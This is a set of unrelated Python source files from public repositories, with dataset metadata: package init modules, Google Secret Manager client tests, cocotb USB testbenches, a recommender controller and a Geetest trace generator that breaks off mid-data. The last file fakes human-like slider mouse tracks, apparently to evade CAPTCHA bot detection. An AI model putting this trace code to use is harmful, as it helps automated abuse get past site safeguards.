2019-07-27T01:43:50.000Z

2021-11-15T14:57:15.000Z

pyspectools/models/__init__.py

aowen-uwmad/PySpecTools

3fd0b68352910df1e653370797a8edd46d92fa1c

[ "MIT" ]

3

2020-08-03T16:22:00.000Z

2021-11-01T15:31:55.000Z

from pyspectools.models import classes from pyspectools.models import torch_models

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py

Python

ACM-Solution/TRGRID.py

wasi0013/Python-CodeBase

4a7a36395162f68f84ded9085fa34cc7c9b19233

[ "MIT" ]

2

2016-04-26T15:40:40.000Z

2018-07-18T10:16:42.000Z

ACM-Solution/TRGRID.py

wasi0013/Python-CodeBase

4a7a36395162f68f84ded9085fa34cc7c9b19233

[ "MIT" ]

1

2016-04-26T15:44:15.000Z

2016-04-29T14:44:40.000Z

ACM-Solution/TRGRID.py

wasi0013/Python-CodeBase

4a7a36395162f68f84ded9085fa34cc7c9b19233

[ "MIT" ]

1

2018-10-02T16:12:19.000Z

exec("n,m=map(int,input().split());print(['LR'[n%2],'UD'[m%2]][n>m]);"*int(input()))

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3f63edc10e21f92e3052123ff38f0b2488e68532

63

py

Python

q2_itsxpress/__init__.py

kweber1/ITSxpress-qiime2

a2a2e7bc12fecd27319f0ab705a78e54a3a926d3

[ "CC0-1.0" ]

8

2018-07-12T21:40:50.000Z

2021-12-06T01:52:14.000Z

q2_itsxpress/__init__.py

kweber1/ITSxpress-qiime2

a2a2e7bc12fecd27319f0ab705a78e54a3a926d3

[ "CC0-1.0" ]

8

2018-07-26T14:45:23.000Z

2022-01-24T15:23:41.000Z

q2_itsxpress/__init__.py

kweber1/q2_itsxpress

a2a2e7bc12fecd27319f0ab705a78e54a3a926d3

[ "CC0-1.0" ]

3

2019-02-25T19:52:14.000Z

2022-03-29T14:14:09.000Z

import q2_itsxpress._itsxpress import q2_itsxpress.plugin_setup

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7

3f6bf45199adf5640ba7629b31d68fd52f19bff1

196

py

Python

tests/func/multipoint/__init__.py

phuntimes/mongoshapes

f461c67343c32c6b97af8d67a269b4de492d1d71

[ "MIT" ]

1

2020-11-26T05:58:23.000Z

tests/func/multipoint/__init__.py

Sean-McVeigh/mongoshapes

f461c67343c32c6b97af8d67a269b4de492d1d71

[ "MIT" ]

null

tests/func/multipoint/__init__.py

Sean-McVeigh/mongoshapes

f461c67343c32c6b97af8d67a269b4de492d1d71

[ "MIT" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- from mongoshapes import MultiPoint as GeoShape from mongoshapes import MultiPointDict as GeoDict from mongoshapes import MultiPointField as GeoField

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7

3f71ad804cc87bc731c3ba147654ada08e6d1b27

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py

Python

tests/unit/gapic/v1/test_secret_manager_service_client_v1.py

busunkim96/python-secret-manager

54dca6c3d8943a6455fe0d68c094683ed1e32f3e

[ "Apache-2.0" ]

null

tests/unit/gapic/v1/test_secret_manager_service_client_v1.py

busunkim96/python-secret-manager

54dca6c3d8943a6455fe0d68c094683ed1e32f3e

[ "Apache-2.0" ]

null

tests/unit/gapic/v1/test_secret_manager_service_client_v1.py

busunkim96/python-secret-manager

54dca6c3d8943a6455fe0d68c094683ed1e32f3e

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- # # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Unit tests.""" import mock import pytest from google.cloud import secretmanager_v1 from google.cloud.secretmanager_v1.proto import resources_pb2 from google.cloud.secretmanager_v1.proto import service_pb2 from google.iam.v1 import iam_policy_pb2 from google.iam.v1 import policy_pb2 from google.protobuf import empty_pb2 from google.protobuf import field_mask_pb2 class MultiCallableStub(object): """Stub for the grpc.UnaryUnaryMultiCallable interface.""" def __init__(self, method, channel_stub): self.method = method self.channel_stub = channel_stub def __call__(self, request, timeout=None, metadata=None, credentials=None): self.channel_stub.requests.append((self.method, request)) response = None if self.channel_stub.responses: response = self.channel_stub.responses.pop() if isinstance(response, Exception): raise response if response: return response class ChannelStub(object): """Stub for the grpc.Channel interface.""" def __init__(self, responses=[]): self.responses = responses self.requests = [] def unary_unary(self, method, request_serializer=None, response_deserializer=None): return MultiCallableStub(method, self) class CustomException(Exception): pass class TestSecretManagerServiceClient(object): def test_list_secrets(self): # Setup Expected Response next_page_token = "" total_size = 705419236 secrets_element = {} secrets = [secrets_element] expected_response = { "next_page_token": next_page_token, "total_size": total_size, "secrets": secrets, } expected_response = service_pb2.ListSecretsResponse(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup Request parent = client.project_path("[PROJECT]") paged_list_response = client.list_secrets(parent) resources = list(paged_list_response) assert len(resources) == 1 assert expected_response.secrets[0] == resources[0] assert len(channel.requests) == 1 expected_request = service_pb2.ListSecretsRequest(parent=parent) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_list_secrets_exception(self): channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup request parent = client.project_path("[PROJECT]") paged_list_response = client.list_secrets(parent) with pytest.raises(CustomException): list(paged_list_response) def test_create_secret(self): # Setup Expected Response name = "name3373707" expected_response = {"name": name} expected_response = resources_pb2.Secret(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup Request parent = client.project_path("[PROJECT]") secret_id = "secretId-739547894" secret = {} response = client.create_secret(parent, secret_id, secret) assert expected_response == response assert len(channel.requests) == 1 expected_request = service_pb2.CreateSecretRequest( parent=parent, secret_id=secret_id, secret=secret ) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_create_secret_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup request parent = client.project_path("[PROJECT]") secret_id = "secretId-739547894" secret = {} with pytest.raises(CustomException): client.create_secret(parent, secret_id, secret) def test_add_secret_version(self): # Setup Expected Response name = "name3373707" expected_response = {"name": name} expected_response = resources_pb2.SecretVersion(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup Request parent = client.secret_path("[PROJECT]", "[SECRET]") payload = {} response = client.add_secret_version(parent, payload) assert expected_response == response assert len(channel.requests) == 1 expected_request = service_pb2.AddSecretVersionRequest( parent=parent, payload=payload ) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_add_secret_version_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup request parent = client.secret_path("[PROJECT]", "[SECRET]") payload = {} with pytest.raises(CustomException): client.add_secret_version(parent, payload) def test_get_secret(self): # Setup Expected Response name_2 = "name2-1052831874" expected_response = {"name": name_2} expected_response = resources_pb2.Secret(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup Request name = client.secret_path("[PROJECT]", "[SECRET]") response = client.get_secret(name) assert expected_response == response assert len(channel.requests) == 1 expected_request = service_pb2.GetSecretRequest(name=name) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_get_secret_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup request name = client.secret_path("[PROJECT]", "[SECRET]") with pytest.raises(CustomException): client.get_secret(name) def test_update_secret(self): # Setup Expected Response name = "name3373707" expected_response = {"name": name} expected_response = resources_pb2.Secret(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup Request secret = {} update_mask = {} response = client.update_secret(secret, update_mask) assert expected_response == response assert len(channel.requests) == 1 expected_request = service_pb2.UpdateSecretRequest( secret=secret, update_mask=update_mask ) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_update_secret_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup request secret = {} update_mask = {} with pytest.raises(CustomException): client.update_secret(secret, update_mask) def test_delete_secret(self): channel = ChannelStub() patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup Request name = client.secret_path("[PROJECT]", "[SECRET]") client.delete_secret(name) assert len(channel.requests) == 1 expected_request = service_pb2.DeleteSecretRequest(name=name) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_delete_secret_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup request name = client.secret_path("[PROJECT]", "[SECRET]") with pytest.raises(CustomException): client.delete_secret(name) def test_list_secret_versions(self): # Setup Expected Response next_page_token = "" total_size = 705419236 versions_element = {} versions = [versions_element] expected_response = { "next_page_token": next_page_token, "total_size": total_size, "versions": versions, } expected_response = service_pb2.ListSecretVersionsResponse(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup Request parent = client.secret_path("[PROJECT]", "[SECRET]") paged_list_response = client.list_secret_versions(parent) resources = list(paged_list_response) assert len(resources) == 1 assert expected_response.versions[0] == resources[0] assert len(channel.requests) == 1 expected_request = service_pb2.ListSecretVersionsRequest(parent=parent) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_list_secret_versions_exception(self): channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup request parent = client.secret_path("[PROJECT]", "[SECRET]") paged_list_response = client.list_secret_versions(parent) with pytest.raises(CustomException): list(paged_list_response) def test_get_secret_version(self): # Setup Expected Response name_2 = "name2-1052831874" expected_response = {"name": name_2} expected_response = resources_pb2.SecretVersion(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup Request name = client.secret_version_path("[PROJECT]", "[SECRET]", "[SECRET_VERSION]") response = client.get_secret_version(name) assert expected_response == response assert len(channel.requests) == 1 expected_request = service_pb2.GetSecretVersionRequest(name=name) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_get_secret_version_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup request name = client.secret_version_path("[PROJECT]", "[SECRET]", "[SECRET_VERSION]") with pytest.raises(CustomException): client.get_secret_version(name) def test_access_secret_version(self): # Setup Expected Response name_2 = "name2-1052831874" expected_response = {"name": name_2} expected_response = service_pb2.AccessSecretVersionResponse(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup Request name = client.secret_version_path("[PROJECT]", "[SECRET]", "[SECRET_VERSION]") response = client.access_secret_version(name) assert expected_response == response assert len(channel.requests) == 1 expected_request = service_pb2.AccessSecretVersionRequest(name=name) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_access_secret_version_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup request name = client.secret_version_path("[PROJECT]", "[SECRET]", "[SECRET_VERSION]") with pytest.raises(CustomException): client.access_secret_version(name) def test_disable_secret_version(self): # Setup Expected Response name_2 = "name2-1052831874" expected_response = {"name": name_2} expected_response = resources_pb2.SecretVersion(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup Request name = client.secret_version_path("[PROJECT]", "[SECRET]", "[SECRET_VERSION]") response = client.disable_secret_version(name) assert expected_response == response assert len(channel.requests) == 1 expected_request = service_pb2.DisableSecretVersionRequest(name=name) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_disable_secret_version_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup request name = client.secret_version_path("[PROJECT]", "[SECRET]", "[SECRET_VERSION]") with pytest.raises(CustomException): client.disable_secret_version(name) def test_enable_secret_version(self): # Setup Expected Response name_2 = "name2-1052831874" expected_response = {"name": name_2} expected_response = resources_pb2.SecretVersion(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup Request name = client.secret_version_path("[PROJECT]", "[SECRET]", "[SECRET_VERSION]") response = client.enable_secret_version(name) assert expected_response == response assert len(channel.requests) == 1 expected_request = service_pb2.EnableSecretVersionRequest(name=name) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_enable_secret_version_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup request name = client.secret_version_path("[PROJECT]", "[SECRET]", "[SECRET_VERSION]") with pytest.raises(CustomException): client.enable_secret_version(name) def test_destroy_secret_version(self): # Setup Expected Response name_2 = "name2-1052831874" expected_response = {"name": name_2} expected_response = resources_pb2.SecretVersion(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup Request name = client.secret_version_path("[PROJECT]", "[SECRET]", "[SECRET_VERSION]") response = client.destroy_secret_version(name) assert expected_response == response assert len(channel.requests) == 1 expected_request = service_pb2.DestroySecretVersionRequest(name=name) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_destroy_secret_version_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup request name = client.secret_version_path("[PROJECT]", "[SECRET]", "[SECRET_VERSION]") with pytest.raises(CustomException): client.destroy_secret_version(name) def test_set_iam_policy(self): # Setup Expected Response version = 351608024 etag = b"21" expected_response = {"version": version, "etag": etag} expected_response = policy_pb2.Policy(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup Request resource = "resource-341064690" policy = {} response = client.set_iam_policy(resource, policy) assert expected_response == response assert len(channel.requests) == 1 expected_request = iam_policy_pb2.SetIamPolicyRequest( resource=resource, policy=policy ) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_set_iam_policy_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup request resource = "resource-341064690" policy = {} with pytest.raises(CustomException): client.set_iam_policy(resource, policy) def test_get_iam_policy(self): # Setup Expected Response version = 351608024 etag = b"21" expected_response = {"version": version, "etag": etag} expected_response = policy_pb2.Policy(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup Request resource = "resource-341064690" response = client.get_iam_policy(resource) assert expected_response == response assert len(channel.requests) == 1 expected_request = iam_policy_pb2.GetIamPolicyRequest(resource=resource) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_get_iam_policy_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup request resource = "resource-341064690" with pytest.raises(CustomException): client.get_iam_policy(resource) def test_test_iam_permissions(self): # Setup Expected Response expected_response = {} expected_response = iam_policy_pb2.TestIamPermissionsResponse( **expected_response ) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup Request resource = "resource-341064690" permissions = [] response = client.test_iam_permissions(resource, permissions) assert expected_response == response assert len(channel.requests) == 1 expected_request = iam_policy_pb2.TestIamPermissionsRequest( resource=resource, permissions=permissions ) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_test_iam_permissions_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = secretmanager_v1.SecretManagerServiceClient() # Setup request resource = "resource-341064690" permissions = [] with pytest.raises(CustomException): client.test_iam_permissions(resource, permissions)

37.823704

88

0.673612

2,637

25,531

6.273796

0.073568

0.070721

0.025387

0.036267

0.863213

0.827188

0.802224

0.7908

0.787778

0

0.017614

0.241706

25,531

674

89

37.879822

0.836932

0.079237

0

0.713647

0

0.093647

0.055112

0

0.102908

1

0.076063

false

0.002237

0.020134

0.002237

0.10962

0

null

0

1

0

1

0

null

0

7

58f4a508e50691d097d8ae3b13419c3010623243

3,353

py

Python

tests/test-sequence.py

antmicro/usb-test-suite-testbenches-

c2f83a9b074c8a7f98c835584f58df98e5b2f2d5

[ "Apache-2.0" ]

9

2019-09-16T18:46:08.000Z

2021-06-20T05:40:12.000Z

tests/test-sequence.py

antmicro/usb-test-suite-testbenches-

c2f83a9b074c8a7f98c835584f58df98e5b2f2d5

[ "Apache-2.0" ]

19

2019-09-23T10:58:04.000Z

2020-06-02T14:34:55.000Z

tests/test-sequence.py

antmicro/usb-test-suite-testbenches-

c2f83a9b074c8a7f98c835584f58df98e5b2f2d5

[ "Apache-2.0" ]

2

2020-05-19T12:22:53.000Z

2021-01-07T07:18:08.000Z

from os import environ import cocotb from cocotb_usb.harness import get_harness from cocotb_usb.device import UsbDevice from cocotb_usb.descriptors import Descriptor, getDescriptorRequest descriptorFile = environ['TARGET_CONFIG'] model = UsbDevice(descriptorFile) @cocotb.test() def test_control_transfer_in_out(dut): harness = get_harness(dut) harness.max_packet_size = model.deviceDescriptor.bMaxPacketSize0 yield harness.reset() yield harness.wait(1e3, units="us") yield harness.port_reset(10e3) yield harness.connect() yield harness.wait(1e3, units="us") # After waiting (bus inactivity) let's start with SOF yield harness.host_send_sof(0x01) DEVICE_ADDRESS = 20 yield harness.set_device_address(DEVICE_ADDRESS) yield harness.control_transfer_in( DEVICE_ADDRESS, # Get device descriptor getDescriptorRequest(Descriptor.Types.DEVICE, descriptor_index=0, lang_id=0, length=0x40), model.deviceDescriptor.get()) yield harness.set_device_address( 11) # This utilizes an OUT control transfer @cocotb.test() def test_control_transfer_in_out_in(dut): """This transaction is pretty much the first thing any OS will do""" harness = get_harness(dut) harness.max_packet_size = model.deviceDescriptor.bMaxPacketSize0 yield harness.reset() yield harness.wait(1e3, units="us") yield harness.port_reset(10e3) yield harness.connect() yield harness.wait(1e3, units="us") # After waiting (bus inactivity) let's start with SOF yield harness.host_send_sof(0x01) device_address = 0 # After reset yield harness.control_transfer_in( device_address, # Get device descriptor getDescriptorRequest(Descriptor.Types.DEVICE, descriptor_index=0, lang_id=0, length=0x40), model.deviceDescriptor.get()) device_address = 11 yield harness.set_device_address( device_address) # This utilizes an OUT control transfer yield harness.control_transfer_in( device_address, # Get device descriptor getDescriptorRequest(Descriptor.Types.DEVICE, descriptor_index=0, lang_id=0, length=0x40), model.deviceDescriptor.get()) @cocotb.test() def test_control_transfer_out_in(dut): harness = get_harness(dut) harness.max_packet_size = model.deviceDescriptor.bMaxPacketSize0 yield harness.reset() yield harness.wait(1e3, units="us") yield harness.port_reset(10e3) yield harness.connect() yield harness.wait(1e3, units="us") # After waiting (bus inactivity) let's start with SOF yield harness.host_send_sof(0x01) DEVICE_ADDRESS = 20 yield harness.set_device_address( DEVICE_ADDRESS) # This utilizes an OUT control transfer yield harness.control_transfer_in( DEVICE_ADDRESS, # Get device descriptor getDescriptorRequest(Descriptor.Types.DEVICE, descriptor_index=0, lang_id=0, length=0x40), model.deviceDescriptor.get())

31.933333

72

0.653445

379

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0.195251

0.14717

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0.809906

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0

0.025399

0.271995

3,353

104

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0.843097

0.129138

0

0.789474

0

0.008612

0

0.009645

0

1

0.039474

false

0

0.065789

0

0.105263

0

null

0

1

0

1

0

null

0

7

4503d2e58db7f706edeb9e29210bf6efd1aef909

3,734

py

Python

sqlpie/controllers/collaborative_controller.py

lessaworld/sqlpie

22cac1fc7f9cb939e823058f84a68988e03ab239

[ "MIT" ]

3

2016-01-27T19:49:23.000Z

2020-08-18T13:59:02.000Z

sqlpie/controllers/collaborative_controller.py

lessaworld/sqlpie

22cac1fc7f9cb939e823058f84a68988e03ab239

[ "MIT" ]

null

sqlpie/controllers/collaborative_controller.py

lessaworld/sqlpie

22cac1fc7f9cb939e823058f84a68988e03ab239

[ "MIT" ]

1

2016-02-01T01:57:54.000Z

# -*- coding: utf-8 -*- """ SQLpie License (MIT License) Copyright (c) 2011-2016 André Lessa, http://sqlpie.com See LICENSE file. """ from flask import Response import json import sqlpie class CollaborativeController(sqlpie.BaseController): @staticmethod @sqlpie.BaseController.controller_wrapper def service_similarity(request): json_data = request.get_json() if "subject_bucket" in json_data and "subject_id" in json_data and \ "object_bucket" in json_data and "object_id" not in json_data and \ "predicate" in json_data: subject_bucket = json_data["subject_bucket"] object_bucket = json_data["object_bucket"] subject_id = json_data["subject_id"] object_id = None predicate = json_data["predicate"] elif "object_bucket" in json_data and "object_id" in json_data and \ "subject_bucket" in json_data and "subject_id" not in json_data and \ "predicate" in json_data: subject_bucket = json_data["subject_bucket"] object_bucket = json_data["object_bucket"] object_id = json_data["object_id"] subject_id = None predicate = json_data["predicate"] else: raise sqlpie.CustomException(sqlpie.CustomException.INVALID_ARGUMENTS) if "metric" in json_data: metric = json_data["metric"] if metric != "pearson" and metric != "manhattan": raise sqlpie.CustomException(sqlpie.CustomException.INVALID_ARGUMENTS) else: metric = "pearson" if "limit" in json_data and str(json_data["limit"]) == int(json_data["limit"]): limit = json_data["limit"] else: limit = 10 engine = sqlpie.Recommender(subject_bucket, object_bucket, subject_id, object_id, predicate) results = engine.similarity(limit, metric) return {'success': True, 'results':results} @staticmethod @sqlpie.BaseController.controller_wrapper def service_recommend(request): json_data = request.get_json() if "subject_bucket" in json_data and "subject_id" in json_data and \ "object_bucket" in json_data and "object_id" not in json_data and \ "predicate" in json_data: subject_bucket = json_data["subject_bucket"] object_bucket = json_data["object_bucket"] subject_id = json_data["subject_id"] object_id = None predicate = json_data["predicate"] elif "object_bucket" in json_data and "object_id" in json_data and \ "subject_bucket" in json_data and "subject_id" not in json_data and \ "predicate" in json_data: subject_bucket = json_data["subject_bucket"] object_bucket = json_data["object_bucket"] object_id = json_data["object_id"] subject_id = None predicate = json_data["predicate"] else: raise sqlpie.CustomException(sqlpie.CustomException.INVALID_ARGUMENTS) if "metric" in json_data: metric = json_data["metric"] if metric != "pearson" and metric != "manhattan": raise sqlpie.CustomException(sqlpie.CustomException.INVALID_ARGUMENTS) else: metric = "pearson" if "limit" in json_data and str(json_data["limit"]) == int(json_data["limit"]): limit = json_data["limit"] else: limit = 10 engine = sqlpie.Recommender(subject_bucket, object_bucket, subject_id, object_id, predicate) results = engine.recommendation(limit, metric) return {'success': True, 'results':results}

40.150538

100

0.632566

431

3,734

5.220418

0.148492

0.177778

0.106667

0.104

0.900444

0.810667

0

0.004804

0.275308

3,734

92

101

40.586957

0.826681

0.033208

0

0.891892

0

0.15

0

1

0.027027

false

0

0.040541

0

0.108108

0

null

0

1

0

1

0

null

0

7

450b8fc583d3caabf6fe7f5ffee32447c74b5ccd

13,214

py

Python

bibibi/trace.py

DrSxxG/geetest

b3b7d782fc6f9b3bad136344aa35d6df5a62eb76

[ "MIT" ]

null

bibibi/trace.py

DrSxxG/geetest

b3b7d782fc6f9b3bad136344aa35d6df5a62eb76

[ "MIT" ]

null

bibibi/trace.py

DrSxxG/geetest

b3b7d782fc6f9b3bad136344aa35d6df5a62eb76

[ "MIT" ]

null

import random import pickle import re def get_trace_fast(distance): track = [[-random.randint(15, 22), -random.randint(22, 25), 0]] track.append([0, 0, 0]) rand_x = 0 passtime = 40 for i in range(10): rand_x += int(distance * random.randint(1, 2) / 10) passtime += random.randint(10, 50) if rand_x < distance: track.append([rand_x, random.randint(-2, 2), passtime]) passtime += random.randint(100, 150) track.append([distance, random.randint(-2, 2), passtime]) return track def get_trace_normal(distance): track = [[random.randint(19, 30), random.randint(20, 25), 0]] count = 0 scale = [0.2, 0.5, random.randint(6, 8) / 10] while count < distance: if count < distance * scale[0]: x = random.randint(1, 2) elif count < distance * scale[1]: x = random.randint(3, 4) elif count < distance * scale[2]: x = random.randint(5, 6) elif count < distance * 0.9: x = random.randint(2, 3) elif count < distance: x = 1 count += x track.append([ x, random.choice([0, 0, 0, 0, 0, 0, -1, 1]), random.randint(10, 20) ]) track.append([0, 0, random.randint(300, 400)]) return track # 得到原始轨迹 [[x,y,t],...] def format_track(track): track = re.findall('{(.*?)}', track) track_list = [] for x in track: track_list.append([int(_) for _ in x.split(',')]) return track_list def choice_track_list(dist): source_track = [ '{-13,-23,0};{0,0,0};{1,0,91};{2,0,96};{5,0,107};{9,0,112};{12,0,121};{15,0,128};{17,0,137};{20,0,144};{23,0,152};{26,0,160};{29,0,168};{32,0,176};{35,0,184};{39,0,192};{44,0,200};{51,0,208};{58,0,216};{64,0,224};{69,0,232};{73,0,240};{78,0,248};{82,0,256};{86,0,264};{90,0,272};{99,0,280};{105,0,288};{114,0,296};{121,0,304};{126,0,312};{132,0,320};{137,0,328};{141,0,336};{146,0,344};{149,0,353};{151,0,360};{154,0,368};{156,0,376};{157,0,385};{158,0,392};{160,0,401};{161,0,408};{162,0,432};{163,0,440};{164,1,448};{166,1,464};{168,1,472};{169,1,480};{170,1,488};{171,1,496};{172,1,504};{173,1,512};{174,1,519};{175,1,528};{176,1,536};{177,1,544};{179,1,552};{180,1,568};{181,1,584};{182,1,600};{183,1,608};{184,1,623};{185,1,632};{186,1,640};{188,1,655};{189,1,664};{191,1,681};{192,1,728};{194,1,760};{194,1,1127};{194,1,1127};{194,1,1127};{194,1,1128};{192,1,1479};{190,1,1511};{189,1,1536};{189,1,1841};', '{-18,-19,0};{0,0,0};{2,0,256};{4,-1,266};{6,-1,272};{8,-3,282};{9,-3,297};{11,-3,313};{12,-3,360};{13,-4,376};{14,-4,433};{15,-4,449};{16,-4,456};{18,-4,473};{19,-4,520};{19,-4,542};{19,-4,543};{19,-4,543};{19,-4,544};{20,-4,546};{20,-4,549};{20,-4,549};{20,-4,549};{20,-4,550};{20,-4,550};{20,-4,552};{20,-4,552};{20,-4,553};{20,-4,554};{21,-4,585};{22,-4,633};{24,-4,657};{24,-4,678};{24,-4,678};{24,-4,678};{25,-4,728};{27,-4,777};{28,-4,809};{29,-4,858};{30,-4,880};{31,-4,889};{32,-4,920};{33,-4,936};{34,-4,960};{35,-4,984};{36,-4,992};{37,-4,1016};{38,-4,1056};{39,-4,1089};{40,-4,1144};{41,-4,1176};{42,-4,1203};{43,-4,1219};{44,-4,1241};{46,-4,1250};{48,-4,1283};{49,-4,1329};{51,-4,1377};{52,-4,1441};{54,-4,1504};{55,-4,1530};{56,-4,1536};{57,-4,1547};{58,-4,1553};{60,-4,1577};{61,-4,1594};{63,-4,1649};{64,-4,1672};{66,-4,1704};{67,-3,1754};{68,-3,1906};{69,-3,1912};{71,-3,1928};{72,-3,1945};{73,-3,1960};{74,-3,1977};{75,-3,1993};{75,-2,2001};{76,-2,2064};{77,-2,2072};{78,-2,2089};{79,-2,2233};{80,-2,2408};{81,-2,2416};{82,-2,2450};{83,-2,2504};{84,-2,2552};{85,-2,2640};{86,-2,2664};{88,-1,2697};{89,-1,2768};{90,-1